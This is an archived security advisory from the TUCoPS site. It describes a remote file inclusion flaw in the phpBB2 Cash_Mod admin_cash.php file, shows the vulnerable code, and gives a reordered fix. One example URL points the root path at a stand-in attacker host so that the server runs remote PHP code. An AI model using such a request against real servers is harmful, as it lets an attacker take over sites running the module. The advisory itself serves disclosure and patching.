Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web BBS :: Frequently Exploited :: hack2539.htm

phpBB2 with Cash_Mod vuln (all ver.)



Vulnerabilities in forum phpBB2 with Cash_Mod (all ver.)



Hi all 



phpBB is a very popular message board using modules extensions. 



One of these module – Cash_Mod is a very popular one and is used by many people. It has critical vulnerabilities, one of them letting anyone inject malicious PHP code that will be executed on the server side. 



Let’s start : 



In file /admin/admin_cash.php 



….. 

if ( !empty($setmodules) ) 

{ 

include($phpbb_root_path . 'includes/functions_cash.'.$phpEx); 

$menu = array(); 

admin_menu($menu); 

…. 



First, nothing seems wrong! It’s just a normal piece of code with “include” functions, but 

$phpbb_root_path & .$phpEx – are *NOT* define yet! 





I don’t know why, but someone decided to define these variables later in the code : 



…… 

// 

// Let's set the root dir for phpBB 

// 

$phpbb_root_path = "./../"; 

require($phpbb_root_path . 'extension.inc'); 

require('./pagestart.' . $phpEx); 

include($phpbb_root_path . 'includes/functions_selects.'.$phpEx); 



….. 



Well, any user can rewrite these parameters with GET or POST requests. 



Example : 

http://victim.host/phpBB2/admin/admin_cash.php?setmodules=1&php bb_root_path=http://bad.host/ 





Fix : 

Set all default parameters after “if ( !empty($setmodules) )” 



Example : 



// 

// Let's set the root dir for phpBB 

// 

$phpbb_root_path = "./../"; 

require($phpbb_root_path . 'extension.inc'); 

require('./pagestart.' . $phpEx); 

include($phpbb_root_path . 'includes/functions_selects.'.$phpEx); 



if ( !empty($setmodules) ) 

{ 

include($phpbb_root_path . 'includes/functions_cash.'.$phpEx); 

$menu = array(); 

admin_menu($menu); 





Thank you rofl!


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH